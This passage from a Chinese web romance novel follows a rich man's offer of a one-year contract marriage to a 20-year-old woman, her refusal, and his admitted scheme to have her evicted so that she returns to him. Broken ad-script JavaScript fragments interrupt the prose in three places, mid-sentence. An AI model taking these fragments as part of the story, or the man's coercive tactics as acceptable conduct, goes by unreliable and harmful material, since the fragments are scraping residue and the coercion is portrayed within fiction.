“一年,我需要的婚约期限是一年。”他又抛出看似具有诱惑力的条件,“在这一年里,我会按月支付你薪水,高于你目前为止赚到的所有钱。” “一年之后,你可以恢复自由。” 顶灯倾泻在他头顶肩上,透过光圈,温知禾看到具像化的獠牙。 如此不被遮掩,如此高高在上,就差把“你会心甘情愿跳进坑里感恩戴德”的话写在脸上。 她傻了才会答应。 温知禾字字清晰地回绝—— “不要。” 4. 偏差 餐桌上的浓汤渐渐冷却凝结,贺徵朝大概是没料到她会回绝得如此果断,神色不再一成不变。 对她而言,这兴许是一场稳赚不赔的买卖,一次阶层越阡的机会,但谁知道还会有什么陷阱?况且她才二十岁。 温知禾深知,亲密关系对男人而言是猫鼠游戏,你抓一把我必定薅你一下,你不能蹬鼻子上脸但我得揪着你的尾巴完全掌控于手心,我给予你的一丁点好处,你必须有所回馈。对于贺徵朝这样的资本家,温知禾不负责任地猜想,应该同理甚至变本加厉。 况且他确实是这么说。 诚然,这位先生是有傲气的资本,不论背景身世还是这副皮囊,可她并不喜欢虚假面具下那拿鼻孔瞪人的天龙人姿态。 贺徵朝略略颔首,忽然开口:“理由?” ……还要理由。 温知禾很想拎包就走,可拿人手软的她注定得如坐针毡地挨这一遭。 眼前这位先生还把持着绅士的儒雅,于情于理她也没道理掉面儿,只能借以万用理由:“我们不合适。” 贺徵朝轻笑,不以为意:“温小姐,你应该知道,我能坐在这儿和你谈,就说明我不会在乎门第。” 何止是不在乎,分明当作好拿捏的把柄。温知禾心口堵着气,又不太好表现出来,她低声说:“不止这点。” 贺徵朝面色平静如故。 憋了几秒钟,温知禾明眸眺向他:“我才二十岁。” “首先年龄上不合适,其次我并不想结婚,虽然只有一年。” 贺徵朝给出的条件确实令人心动,但这并没办法消解她的顾虑。 她不喜欢身份差距大的配偶。 也不喜欢年龄大的男人。 对于明码标价的婚姻,喜不喜欢或许并不重要,但既然他肯开诚布公地与她谈判协商,就证明他并不是那么强人所难的男人。 “二十岁?” 贺徵朝低沉的嗓音将她思绪拉回,双眼带着审视的意味:“你先前不是和我说,你二十六了,从事服务业将尽六年。” 温知禾怔了怔,恍惚想起在一个月前,她确实对贺徵朝撒过这种谎。 通常做些什么兼职,只要岗位背调没那么严格,温知禾都会对外包装自己,好让自己获得这份工作。 温知禾从未想过回旋镖会在今日飞到自己身上,她理不直气也壮地说出那句至理名言:“……出门在外身份都是自己给的。” 贺徵朝不置可否的哼笑一声。 透过他难辨情绪的面庞,温知禾不知他是被摆了一道而气笑了,还是并不相信她的话。 琴师回岗,弹奏起琴曲,餐厅里又扬起舒缓的音乐。 有侍应生来询问是否需要添水,贺徵朝抬手示意给她那杯添加,温知禾本想拒绝,又觉得喝不完也无所谓,就默然接受。 等人走后,贺徵朝才开口:“你很年轻,也很聪明,这一年对你来说不会很吃亏,不是吗?” 听这意思,他是暂且相信了她年龄的更正,但语气里还保留有遗憾,就像在说“过了这村可没这店”。 很自信的发言,而他确实有这份自信的资本。 贺徵朝继续道:“我没有隐婚的要求,结了就会对外公开。金钱方面的资助是一方面,另一方面,你想做些什么,只要不过分都可以借我的名号。” “你想从事影视行业,我旗下有相关产业,你想拍点儿电视剧电影,拉赞助投资也不难,只有一年的时间,我相信你想做的事,都可以实现。” 这番话很中听,温知禾能清晰地感知到,自己那颗隐隐动荡的心脏。 一年的时间,足够她敛财拍一部电影,如此唾手可得近在咫尺。 温知禾蓦然想到和陈笛口嗨过的做梦时刻——如果嫁给一个月给几百万还不回家的老公,你会怎么做? 如此不切实际的幻想,温知禾借着酒意还真列举得振振有词口若悬河,可当幻想成真摆在面前,她满脑子都在考量,对方究竟有什么目的。 ——只是单纯想要一个好掌控的妻子? 温知禾已经问了他不下两次,这次她还要问:“那您需要我做什么?” 温知禾谨慎道:“我不可能白拿您这么多好处吧?” 贺徵朝眉眼微松,淡声说:“听话就成。” 很模糊的要求,又开始打哑谜。 温知禾势必打破砂锅问到底:“听话到什么程度,做事都必须经过您的准许吗?凡事都要以您为主?” “嗯。” “您让我做什么就做什么?” “是。” “洗漱洗澡也要报备?穿衣打扮也要看您?” 辣椒呛人,贺徵朝从不吃辣,这桌上也没有辣椒,倒是温知禾吃了胡椒味的牛排,抛出接连不断的问题。 最后的问题贺徵朝不予置评,只是微微压下眼,重新审视她。 她漆黑的头发刚到脖颈中间,脸蛋白皙,外轮廓流畅,中规中矩的五官不施粉黛,凑到一起却是格外具有辨识度的漂亮,即使放到人群中,也能凭借高挑的身姿脱颖而出。她没穿那套名媛必备的小香风套装,廉价的不知名品牌的鹅黄打底衫还有些起球,没有耳饰没有项链,朴素到与餐厅里的任何人都格格不入。 经此谈判前,贺徵朝还认为她身上是有几分吸引力,譬如她穿着酒店制服下的细腰美腿,譬如她被雨淋湿时孤零零的模样。 像只脏小猫,给颗甜枣就能活。 但事实并非如此,信息是有偏差的。 她年龄上前后不对等,贺徵朝不以为意,毕竟只要达到适婚年龄即可;她有所顾虑也无可厚非,只要他抛出橄榄枝,就没可能不接。 可现在看来,这姑娘不仅聪明,还有些轴。 他很不喜欢。 他也并非温知禾不可,只是有些可惜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 贺徵朝喜怒不形于色,眼底也不达笑,轻哂:“这些小事儿,不值我给你开的价钱?” 温知禾粗略地计算,如果他说话算话,每月能拿到这么一笔钱,那确实很值得,值得到她上厕所用几格纸都能报备。 没什么损失的,不过是人身自由有限制。 她是有底线,是有自己的想法,但如果条件足够好,她或许会没那么坚定,答应他荒谬的请求。 因为工作的丢失,因为这糟糕透顶的二十岁。 温知禾需要一支镇定剂让自己冷静下来,她想了想,轻启双唇:“那我们……” “那我们需要做/爱……做的事吗?” 这句话直白得羞于开口,大庭广众下温知禾也没办法说得太大声,只能委婉的、小心翼翼的在尾声打个补丁。 这番话可能音量太小,导致如水投石,倾听者始终保持澹泊,并不为之所动,甚至一点儿迁就她凑近的意思都没有,只是扬了扬眉:“再说一遍,听不清。” “做什么事?” “……” 温知禾实在没胆量再说一遍。 她面颊有些燥热,真是昏头了,明明还有更适宜、更准确的话术。 再度发问时,温知禾音量稍大,就是险些咬到舌尖:“有生育要求吗?” “难不成你娶一个听话的妻子,就是当个摆设?” 贺徵朝眼里有短瞬的意外,大抵是因为她的问题太大胆,这让温知禾庆幸他刚才没听清。 “温小姐。”贺徵朝清淡地称呼,细狭的双眼意味深长,“如果我需要生育,我是不可能找你。” 言外之意,她不够格做生母。 温知禾能会意,但无法理解,也不可能理解这位傲慢的男人。 “你可以当摆设,只要足够配合,我也不可能做强人所难的事儿。”贺徵朝眸色更深,彻底掀开斯文尔雅的帷幕,言辞淡薄又冷淡:“你很漂亮,但我不喜欢做掉价的事儿,如果真要做些什么,你身上至少要有一件名牌儿。” 温知禾被他这种回答砸得头脑嗡嗡发鸣。 这是什么意思?既要她足够便宜,又嫌弃她廉价? 这男人是对着名牌高定才石更得起来吗? 哈。 温知禾在心里冷不丁的发笑,像被泼了冷水,彻底冷静下来。 她是冲昏了头脑才会在先前以为他是位仁慈的好好先生,她是糊涂了才会对这种条件动心。 餐桌上再度陷入短暂的沉寂,一秒钟似乎被无限拉长。 贺徵朝不喜欢被拒绝的感觉,也没有耐心去等待她的迟疑,他略略整理身前的衣领,又看眼腕表,回眸睇她,恢复沉着温和的声线:“想好了么?我让你做的事儿,应该很简单。” 待她的视线重新聚焦,贺徵朝才好整以暇地一字一顿,语气里染着一点引诱:“只要做个阔绰听话的小太太。” 5. 是我 有些人天生富贵命,是根本藏不住骨子里的傲慢,即使穿着西装革履,谈吐文雅。 在这场谈判的沉默中,温知禾彻底清楚贺徵朝究竟为何示好,毕竟他说过,她是择偶范围内里最廉价最好满足的一个。 所以他会以为,他随意从指缝中掉出的一点儿好处,就能满足到她,并且她还甘之如饴满口答应。 他不再说“摆设”二字,而唤做“小太太”,但“阔绰”后的“听话”,还是让温知禾一言难尽。 “贺先生。” 良久,温知禾轻声称呼,缓缓道:“说了这么多,我只知道这些条件对您大有裨益,但我也没收到什么实际性的好处,不是吗?” “帮我垫付套房,送我生日蛋糕和衣服,这些都不是我必须要的,是您强塞给我的,我承认,我是受益了,但我今天和您吃饭,就是想还归还给您。” “我不想吃亏,随随便便就踏入一段不平等、不被尊重的婚姻,即使这是假的,有期限的。我没有缺钱到这种地步,很感谢您的帮忙和赏识。” 温知禾拎起一旁的相机包站起身,每一个字都清晰地挤出牙缝:“今天就到这儿了,这顿饭我请你,再见。” 料得到他不会做出当场抢着结账的行为,所以温知禾自行去前台找人结账了,即使侍应生说这顿饭早已提前划过贺徵朝的帐,但她也坚持要付钱。 此刻温知禾非常能理解,那些古早剧里宁死不屈的倔强小白花女主,首先无功不受禄会让人损阴德,其次你永远都不知道这些馈赠会让你暗中付出怎样的代价,请吃饭的钱、住房的钱……为了拒绝他,她得额外花这么多钱。 真不该一时冲动接受好处,陷阱都在这儿等着她呢。 “小姐,您真的不用付了。”侍应生无奈地坚持,瞥见后方的人,又有效欲言又止。 “让她付。” 男人的嗓音透着一贯低沉文雅,辨识度极高,至少刚分开的一分钟不到,温知禾能很快听辨出是谁。 她侧目撞入他深邃漆黑的双眼,肩膀也略略偏移,捱过男人挺括的西服,嗅到他身上清冽好闻的冷杉香调,温知禾才发觉他们之间的距离有多近。 很难想象,他们刚才是在“谈婚论嫁”。 - 付钱划账,温知禾看着减掉的四位数,心里更滴血了。 泠州地天气时冷时热,接下来三天会是晴天,而此刻玻璃窗淌下雨幕,却是要下暴雨。 温知禾没有出去采风,她打算抱着设备上楼订车票,并且向前台补齐住房的价格,退订剩余的两天。 装腔作势一时爽,付钱退订火葬场。 订的车票是今晚凌晨出发,很可惜,她还是白来了一趟。 收拾好行李推到旁侧,温知禾抬头看到柜台上,昨晚贺徵朝托礼宾送来的套装纸袋。 她打算临走前,托前台帮忙归还给贺徵朝。 床上的手机翁动了两下,温知禾拾起来看,是陈笛发的消息。 这些天她不在燕北,出租屋的两只猫都是陈笛帮忙喂的,所以每次下班,她都能收到陈笛的定时投喂反馈。 陈笛:【图片】【图片】 陈笛:【两只小宝都很乖,可惜我明天要被派去外地出差了】 陈笛:【我给你家宝们多放些粮食?】 温知禾敲字回复:【不用,我马上回去。】 陈笛:【?这么快?】 温知禾:【被辞退了,回家再说吧。】 陈笛追问发生了什么事,但温知禾有些累,没有回应,躺在床上听窗缝里淅沥的雨声。 一觉醒来已经是晚间八点,这里距离机场很近,车程不到二十分钟就能到。 温知禾待到十点半才出门,拎着纸袋搁放在前台,配合招待员写登记表。 填写完登记表递交给前台,对方接收后点头微笑:“感谢您的入住,欢迎您下次再来。” 滚轮在大片瓷砖地滑向旋转门,室外的雨已经停了,仅透着歇后湿淋淋的寒气。 温知禾深深吸口气,上了那辆开双闪停在门口的车。 - 天蒙蒙亮,烟雨缥缈。 机场的人提前在酒店门口备好车,助理秘书也早早提前一小时穿戴齐整,在顶楼套房门口等候。 八点一刻,腕表秒针精准定格的那瞬门开了。 “贺总。” 众人齐声道。 贺徵朝颔首,边整理袖口边往电梯门走去,秘书在旁负责汇报行程。 电梯下行停在一楼大厅,工作事项已经汇报完毕,秘书停顿一秒,忽地说道:“前台有寄存给您的东西,是4512号门的客人临走前留的。” 贺徵朝垂眼睇他:“临走前?” “是,4512号门的客人昨晚十一点办理的退房手续,大概也是那会儿走的。”秘书将已知的信息全都托盘而出,临了又问,“她归还给您的物品还在寄存单位,您看是要怎么处理?” 贺徵朝口吻很淡:“送回去,送不回去就扔了。” 按照习性,秘书也早知会如此。 离开酒店,黑色轿车在高架桥上疾驰,贺徵朝阖眼养神片刻,昏暗混沌的视野里,生出朦胧的人影与轻浅的、不知天高地厚的声音。 这声形愈发清晰,虽不到难以忘怀的地步,但也确实令人印象深刻。 “贺总,您要的资料。” 充斥着暖气的车厢里响起助理的声音,贺徵朝睁开眼,接过那本平板。 资料右上角是一寸照片,穿着学院制服的温知禾双唇微翘,隐约有酒窝,除了头发稍微长点,和现状并无太大差异,无法否认,只是这么一张朴素得再不能朴素的照片,她的模样都格外吸引人。 生活在互联网时代,人人都透明,这份资料详尽地列出了各类内容,包括她的出生年月日。 按照资料显示,温知禾撒谎了又没撒谎,她今年确实刚二十。 很鲜活的年纪,这张嘴也实在口无遮拦。 贺徵朝遗憾地想,他恐怕是要勉强。 关上平板,男人镜片下的双眼不加情绪:“那套衣服扔了吗?” 助理稍怔,回答:“没有。” 贺徵朝将平板递还给助理,音色淡薄:“找个时间,当面送回去。” - 下了车站再倒地铁,温知禾走过两排光秃秃的树干,低矮的菜市场,拐进街道狭窄的老式楼房爬了五楼,摸出钥匙解开门锁。 铁门哐当地拉开,隔着着一米七的栅栏,温知禾看到一黑一白的两只猫分别从各处跳下来,喵喵地冲她走来。 虽然才离开一星期,温知禾的心还是软得一塌糊涂,趁着两只猫没太靠近,她立即把两道门关紧。 陈笛虽然每天都会登门喂猫,但家里的卫生是不归她管,温知禾四处检查,做做清洁,大概两小时过去,才闲下来窝在沙发刷手机。 下滑刷新微博,大数据向她推送了一条蔡馨的动态,对方穿着戏服拍了张照片,底下的评论是一汪的粉丝吹水夸赞,岁月静好极了。 温知禾以前从不在微博发言,此刻看到这条动态,她忽然很想狠狠地发一条吐槽。 贴脸开大会被人群殴,她没这么傻,所以一没带大名,二没带tag地发了条个博。 按下发送键,温知禾随手捞起一只无辜小猫在怀里rua,只可惜环抱不到五秒钟,就被猫强劲有力的兔子腿蹬开。 矫健的小白猫蹭蹭攀爬到猫爬架上,还给黑猫挨了一拳,彼此互不谦让,非要占领高位。 燕北这样寸土寸金的地方,仅仅住在城郊的老式楼房,租金也只高不低。温知禾的出租屋很小,是一居室,仅有一墙推拉门做分割,另外二分之一的面积都划给了这两条猫,不过只要能放得下一张床,她在哪儿都能住。大学三年攒下的钱,她拿来付了一年的房租费,这一年是她给自己留在这里的期限。 温知禾一部分收入来源自打散工,绝大部分收入是她在网上做电影解说拉片赚取广告得来的,自媒体时代只要有点流量就能赚到钱,温知禾喜欢电影,也乐于做分享,平台上的十几万粉丝,是她呕心沥血肝三百多条视频积累下来的。 戴好眼镜,打开笔记本整理素材,期间除了吃饭上厕所,温知禾基本没离开过书桌。 夜幕初垂,余晖透过窗纱在地上拖出了长长的暖光。温知禾按下保存键,捞起旁边静音的手机查看消息。 以往被垃圾消息占据的主屏幕,显示微博新增99+条评论。 温知禾有些莫名其妙,以为是自己眼花,她刚要点进去看,玄关倏然传来门铃声。 开门前温知禾提前通过手机小程序的监控进行查看,见登门的人是房东阿姨,这才拧门。 门一开,阿姨很自然地打招呼:“回来了啊。” 温知禾问:“嗯,有什么事吗?” 阿姨往里探了探:“关于租房的事儿,咱进去聊吧。” 温知禾是半年前在这租的房,房东阿姨就住在前面不远处的新小区,一开始因为物业费有过争执,再加上她又不是本地人,阿姨对她的态度并不算太和善。 听她是来聊正事,温知禾也不好拒绝,请她到沙发那儿坐。 阿姨刚进来,两只猫就从旁侧窜飞过去,趴进沙发缝隙里。 “我说进来怎么有一股味儿,你还养了两只猫啊。”阿姨挥了挥空气,嫌恶的模样溢于言表。 温知禾扯了下唇,接了杯水给她:“今天刚收拾过,家里也经常通风,我养猫您不也知道么。” 在她住进来之前,这间房的厕所边角还有股尿骚味,是房东阿姨养的泰迪定点尿但没清理干净的位置。能找到愿意租给养宠人士的房东已经不容易,再综合各方条件,温知禾只好咬咬牙租下来,自行做清洁。 阿姨没回应,也没坐下,正四处张望。温知禾以为她是来检查卫生的, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 庆幸自己一回家就收拾干净。 那杯水放在桌上晾了一会儿,正徐徐冒热气,温知禾思绪飘远了一瞬,很快就被阿姨的话语拉扯回来:“这两天我有个表亲要投奔我这儿,他没房住又带妻女大包小包的来,你不是还没毕业么,学校又有空床位……” 从她说出第一个字时,温知禾就察觉到不对劲,果不其然,这是要违约退租。 温知禾眉头渐渐皱起:“您开什么玩笑?首先我在您这儿租了一年,其次我还养了两只猫,说让我搬回宿舍就搬回宿舍?” “你这猫养了至少有一年了吧?不就是从宿舍带出来的?”阿姨理不直气也壮,随手把包放在桌上,轻飘飘道,“这违约金我也不是付不起,你就算不回学校住,也总能找到新的住处。” “这房子是你的我的?还和我犟嘴,我想什么时候收回就什么时候收回,又不差你这点儿钱。” 根据合同,赔付的违约金顶多为全额押金外加一个月的房租,房东阿姨要求她两天内搬走,说什么都不肯让步,翻脸比翻书还快,何况对方一开始就没给她好脸色。 挂钟的指针一秒秒转动,温知禾没有心思吃完饭,给猫放了粮,便坐在沙发上打算找新房。 正所谓祸不单行,她都还没来得及和陈笛倾诉房东违约的事,就看到微博后台被各种人私信。 人在短时间内是无法消化过多信息量,没点进主博文前,温知禾还不太了解情况,直到看见蔡馨本人的下场回复。 蔡馨:【亲爱的,你和我讲讲我们究竟闹了什么不愉快的,我做错什么了呢,私信为你开了,咱们聊聊。我看你IP不在泠州,不然我还能请你吃顿饭,不过如果你方便的话,不妨给个地址我寄你点儿小礼物,或许我们有误会呢?】 很温和的说辞,温和到哪怕大名旁边带了个金灿灿的红v,温知禾也要点进主页确认是否为本人。 她发博的这号一没带大名二又没流量,怎么会……不对,她切错号,发在电影解说的吃饭号上了,上一条她还发了进组打码过的工作证照。 蔡馨不是流量咖,但也并非没有粉丝,她早婚嫁入豪门热衷于秀恩爱,被不少艳羡的人称之为少奶奶,又因为经常上综艺,口出金句、照顾同龄人无比得心应手,还有个“馨妈”的外号。 人前她光鲜亮丽平易近人,人后却是表里不一。温知禾也是接触了才知道,她除了演技辣眼睛,人品还这么差。 微博后台已经有不少小粉丝冲锋陷阵,理智点的是劝删,过分些的连全家都问候,其污言秽语都让温知禾叹为观止。 关了私信,温知禾没有继续看下去,她也不知道自己做错了什么。 好像自从昨天起,一切都往难以预料、不可控的方向发展。 月亮悄悄攀升,寂静得落针可闻的客厅里,手机的来电音显得格外突兀。 温知禾眼角有些酸,抱着双膝缓了片刻才捡起手机。 屏幕显示致电是一串燕北的陌生号,鬼使神差下,温知禾接听了。 “你好,是温小姐吗?”电话里的男声熙和悦耳,像平时致电通知反诈的帽子叔叔的音色,如果她再脆弱些,说不定会在男人的温馨提醒后,忍不住哭诉一二。 “是。”温知禾很含糊地应了一声。 “我是贺总的助理,姓夏,您寄存在酒店的那套衣服,我会抽空当面给您送过去,请问您方便接收吗?” 听到这番话,温知禾大脑嗡嗡的,缓了片刻才消化好:”……当面?” ”对,当面。”对方晓之以理动之以情地说,礼送出去就没有收回的道理,在最后,又言,“贺总说了,如果您遇到什么困难,再随时找他也不迟。” ”所以您什么时候有空?” 她没说话,助理继续追问:“明天,或是后天?” 温知禾捏着抱枕的角,雾气充盈胸口,令她呼吸不畅快,大脑缺氧。 通话时长悄然达到一分钟,在这沉默的间隙里,两只猫在她腿边喵喵叫,温知禾好像想通了什么。 五万的存款不够她在燕北住一年,也不够她拍一部电影; 但一年的听话,可置换的资源、财富却有很多。 这种想法危险又迷人,就像裹着蜜糖外衣的砒霜,至少第一口是甜的。 可这蜜衣砒霜,未免来得过于适时,就像刻意创造的必需品。 “明天。”温知禾小声吸了下鼻子,毫不顾忌地直呼姓名,“是贺徵朝来吗?” 电话那端停了一秒,温知禾清晰地听见,夹杂电流的低沉声线,分明换了个人,声调不紧不慢:“是我。” “需要我去么?” 这声音像羽毛划过耳廓,带有不经意的痒。 温知禾抿抿唇,脑内像有根弦在颤,迫使她声线也不稳:“……需要,我要见你。” 电话里似乎微不可查地笑了下,下瞬的准予如石投水,沉沉地在她胸口激荡:“可以。” 6. 剪羽 温知禾的时间很宽裕,主要以贺徵朝的行程为准,但她也不能表现得太闲散,于是定了明天下午六点的时间。 今早她是被一阵敲门声吵醒的,天色蒙蒙亮,摸出手机看,才刚到七点。平时温知禾作息并不规律,经常睡到十二点连午饭都免去,起早跟要她命没区别,敲门的一声声分明是索命来的。 温知禾很难想象究竟是谁大清早来的,闷头一会儿,确认这人是冲自己来,这才披上开衫毛衣去开门。 门口是个皮肤黝黑的男人,上下扫视她一眼,咧嘴龇着一口黄牙笑了笑:“姑娘,我是来房的,你别介意,我看看就走。” 见他就要进来,温知禾清醒了几分,立即扬臂阻拦:“等等,你怎么说进就进?” 隔着针织毛衣接触到对方的胳膊,温知禾心里抗拒,忍着嫌恶继续反问:“这里我还住着,等我搬出去你再看还不行吗?” 燕北的房屋墙壁厚实,哪怕暖气片陈旧,这小麻雀屋也足够温暖,温知禾现在穿的还是睡衣,短裤刚到大腿根下,面见生人本就不适,何况是个素未谋面的中年男人,让他进屋不如杀了她。 “我住这附近的酒店,就顺便过来看看。”中年男人不为所动,依旧笑着,还提起手里的塑料袋,“没吃早点吧,我还给你带了些……” 男人身上有股难以言喻的潮汗味,混杂塑料袋里的馅饼味道,更令温知禾胃酸翻涌,她态度坚硬,继续阻拦:“我不吃,您不打招呼一声不吭就过来,我怎么可能让你进?” 他要强进,温知禾已经忍无可忍,不想接触,举起手机干脆放狠话:“你再进来一步我就报警了。” 中年男人一愣:“你这……” - 门关紧,温知禾在门口站了会儿,透过猫眼去查看,确认对方不在门口逗留,没捱住转身去了厕所。 她喉咙里有股强烈的酸灼感,刚到盥洗台就不断干呕,但由于昨晚什么也没吃,吐半天也只能吐出一些清涎,双手把着盥洗台许久,待眩晕感没那么强烈,温知禾这才拧开水龙头洗把脸漱漱口。 抬起头望着镜子,温知禾看到自己那张清洗过的面庞,是很标准的鹅蛋脸,中额有个不太明显的美人尖发旋,所以一直中分偏发;眉弓至鼻尖折叠度饱满,偶尔会被人问是否为混血;双眼尾翼上挑,瞳孔偏浅棕,嘴唇略薄,五官中规中矩挑不出错。 温知禾对自己的长相一直有准确的认知,她不丑,否则也不会从小被人夸到大。她也曾依靠这张脸谋取利益,但不论如何,在极其优越的能力、重男轻女的潜规则面前,所谓的美□□待,也不过是被请的一杯奶茶、逢人能见的亲切微笑,以及帮忙搬运行李诸如此类的小恩小惠。 拍电影是需要漂亮脸蛋,但作为幕后导演并不需要。 明白了这点开始,除非工作要求,温知禾都鲜少捯饬自己。 贺徵朝说过,他之所以找上她,就是因为她贫穷、漂亮、好掌控。 温知禾深知,也许漂亮才是最重要的因素。 如果真是这样,如果他依旧愿意抛出橄榄枝、给的条件还不错,她也并非不能以此作为交换。 一个晚上,温知禾想通了。 她真的非常需要钱,况且人也不可能一直倒霉,除非有人在暗中操纵。 她必须见一见贺徵朝。 - 中午温知禾补了会儿觉,起来收拾行李,清点家中的一切。虽然她在这里住的并不算久,但由于奔着长期租房的缘故,还是花了不少心力去布置过。卧室的旁侧摆有云朵灯,内窗纱帘是精挑细选的墨绿色,工作桌台井井有条地摆放了置物架,喜欢的老旧唱片、电影光碟几乎塞满整个书柜。 她不属于这里,这间房也不属于她,她没有归属感,但总会舍不得这一方精心打理的蜗居。 温知禾极少后悔自己曾做过的决定,她的人生进程才刚到百年的五分之一,没什么可回顾、懊悔的。 倘若贺徵朝只是单纯把送出去的套装送回来,那也不错,她可以厚着脸皮挂二手平台卖了;倘若他还有那层想法,她也没必要继续做不食人间烟火的小白花。 与陈笛口嗨过的霸总联姻各取所需的做梦文学,真能美梦成真,又有什么不能接受的。 整理到五点半,温知禾洗完澡,挑了身衣服。 出门之前,两只猫都围着她的腿转悠,用猫尾绕扫,喵喵个不停。温知禾半弯腰摸了把,将门窗都锁好。 她刚到二楼楼梯口,就看见楼道门口停了辆黑色轿车,司机明显是等候多时,彬彬有礼地替她开了门。 车门敞开,黑幕的内壁缀有星光,纵使温知禾对豪车并没有太多认知,也能看得出来这应该是星空顶,真皮座椅宽敞、软硬适中,熏香轻浅不过分浓郁。 ——由于后座没人,温知禾还算放松。 “先生会从公司直接去餐厅,托我来这儿接您。”驾驶座上的司机解释道。 温知禾应了声,没再说话,只默默偏头望窗。 她住的地方虽然不算偏远,但也只是公交地铁能直通的近郊,驶向CBD至少得半个多小时,何况是拥堵的晚高峰。 夜晚的燕北很美,这辆车行驶得四平八稳,窗外掠过的景象就像绮丽的默片,温知禾欣赏许久,直到轿车停驶,她才回过神来,胸腔微微收紧。 餐厅位于燕北极佳的地段,还保留有古典的建筑风格,壁灯辉映,左右有侍者伫立的旋转门内更是金碧辉煌,踏入厅堂,不得不说,温知禾是有些犯怵,她长这么大,可从没来过这么高档的私人会所。 出门在外身份都是自己给的,温知禾谨记这点,腰板挺直,面不改色地接应询问信息的礼宾。 贺徵朝明显是提前提点过,所以当她说出“贺”姓,礼宾便立即露出恍然大悟的表情,微笑着拱手示意,带她前往包间。 带到了人,礼宾就要离开,温知禾下意识道谢:“谢谢。” 对方临走前捎关了门,包间内暂时只有她一人。温知禾回身巡视,不由咋舌这里的敞亮奢华,明明只是个吃饭的地方,却额外设有茶几沙发、一墙庞大的挂画,以及……露台? 温知禾随手把包挂在木架上,向那方走去,她刚低头拧门,把手却以另一股力量扭转,向内倾斜。 她开门时上身正前倾,现在因外力携拉,不由得向前了一步。 高筒靴重重踏入男士鞋间,在石板上发出踢跶声,温知禾下巴抬起,错愕地同男人对望。 半开的门遮挡住他一半面庞,明晰的那面清隽疏淡,渐渐又外洇某种深味,和上次的巧遇相视如出一辙。 不同的是,这次距离却是极近,温知禾甚至能听见他手里电话的英音,叽里咕噜不知在讲什么,无暇分析。 女孩动荡的围巾下摆扫过他的手背,贺徵朝感到一丝痒意,不动声色地以掌向上托起,绕至她肩后。 “外边儿冷。”贺徵朝低声提醒,侧过身把门拉得更开,垂眉睇她,似乎是特意留了空隙给她通行。 温知禾没有听人打电话的习惯,况且她只是闲来无事随处逛逛,哪知这人……居然在这里。 温知禾本能想撩耳后的发丝,触碰珍珠插梳,以免乱了发型,只好装模作样捋下发梢。 进退不是,温知禾硬着头皮去够另一侧的门把,毕恭毕敬地软声:“您请。” 贺徵朝眼睁睁看着女孩半猫着腰,要把门给关上。 跟见了鬼似的,胆儿真小。 贺徵朝无声轻哂,不顾耳畔未尽的话,以英文道了话挂断,转眼睇她,淡道:“我这儿完事了,进去聊。” 听到这话,温知禾才默然松开门把手。 包间内暖气充足,温知禾本不想卸下身上任一防护罩,但在入座前,还是将围巾、外套脱下。 贺徵朝随手落放手机,抬眼见女孩褪去外搭,她穿了紧身的灰色毛衣裙,笔直的双腿被黑丝长筒靴包裹,高挑匀称。 相比起上次见面时的清丽朴素,这次显然精心打扮过。 某种答案,昭然欲揭。 对于无法否认的赏心悦目,贺徵朝的目光并未有过多停留,很绅士地偏移开,同侍应生交谈。 温知禾一转身,就听贺徵朝问:“有什么忌口?” 温知禾停顿半秒,没客气:“不吃香菜,吃不了海鲜。” 其实她的忌口有很多,香菜只是其一,过敏源除了海鲜,还有别的琐碎分支,全都说出来显得矫情,一会儿她会自己处理,贺徵朝总不能逼着她全吃完。 侍应生走后,贺徵朝深深地看眼她:“对海鲜过敏?” 温知禾“嗯”了声:“大部分。” “好,我记住了。”贺徵朝略一颔首,回应得自然极了,也不知是随口接茬还是客气,温知禾看不出来,但想来这种人,也没必要说这种话来讨巧。 她保持沉默,率先开口的就是贺徵朝,男人声线温文尔雅,不吝于赞美:“今天的你很漂亮。” 温知禾无意和他有过多迂回的周旋,她的指尖稍稍陷入毛衣裙里,在内心默念三秒才直视他的双眼:“我的房子被房东收回,是不是和您有关?” 虚与委蛇太久会令她处于被动,温知禾不愿,所以就把自己最想知道的问题也抛到台面上,更何况开 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 门见山也没什么不好的。 出乎意料的是,她无根无据的提问,却得到了贺徵朝肯定的回答。 “的确。”这声回应如碎玉清脆,贺徵朝微微一笑,眉眼更温润,“你很聪明。” 他应下得太干脆,还不忘给颗甜枣,温知禾哑言须臾,竟不知该作何表情。 侍应生上了菜,望着色香味俱全的佳肴,温知禾只觉无感没味,哪怕自己直到现在都没吃过什么。 他的沉默令发言权的转盘似乎又指向贺徵朝,男人不急于动筷,敛眉延续话题:“所以温小姐来见我,是单纯因为租房?” 温知禾心里积了口闷气,上不去也下不来,反问的声音不平稳还带刺:“我能来见您,还能单纯到哪儿去。” 这个男人难掩温润皮囊下的傲慢,但同时能允许她的失礼,温知禾自然也口不择言起来:“贺先生,您可不可以如实回答我接下来的每个问题,不要急着反问我?” 自始至终他都并没有这么做,反而是眼前的女孩倒打一耙,不过这并不妨碍他答允。 贺徵朝眼底露出好整以暇的笑意,淡淡道:“可以,请讲。” 温知禾:“我知道您并不是非我不可,但既然又下套引我过来,应该是觉得就此放过我会很可惜吧?” 贺徵朝若有所思,没过多思考停顿既答:“嗯,会可惜。” “您可惜什么?”温知禾抿唇,以防错意补充:“可惜我这种人不识好歹,给我一个教训?” “教训这词儿言重了。”贺徵朝轻呵气,低沉的嗓音难辨到底有几许真意,面子里子是做足了:“如果我的做法让你感到困扰,我可以和你道歉,温小姐。” “我的意思是这事儿如果没能谈成才可惜。”他深深地看着她,忽而平静地说起其他话题:“我的祖父很喜欢养鸟,这鸟长时间养在笼子里容易生病,但出了笼子又喜欢横冲直撞随处飞,有一回还差点儿飞走了。” “没办法一直豢养在笼子里,又怕它飞得太高太远,只能给它剪羽。” “这并不会伤到它,况且自由对它而言,也不是什么好事。” 贺徵朝温和的口吻下,是赤裸裸的意有所指,温知禾不傻,怎么可能听不出来。 真是个无耻的男人。 虽然相处的时间不久,但温知禾敢肯定,这位先生绝对是那种能把''爱''与''性''分得很开,并且为避免麻烦摆出好好先生姿态的男人。 他说得出漂亮话,只是其中的真心实意微乎其微。 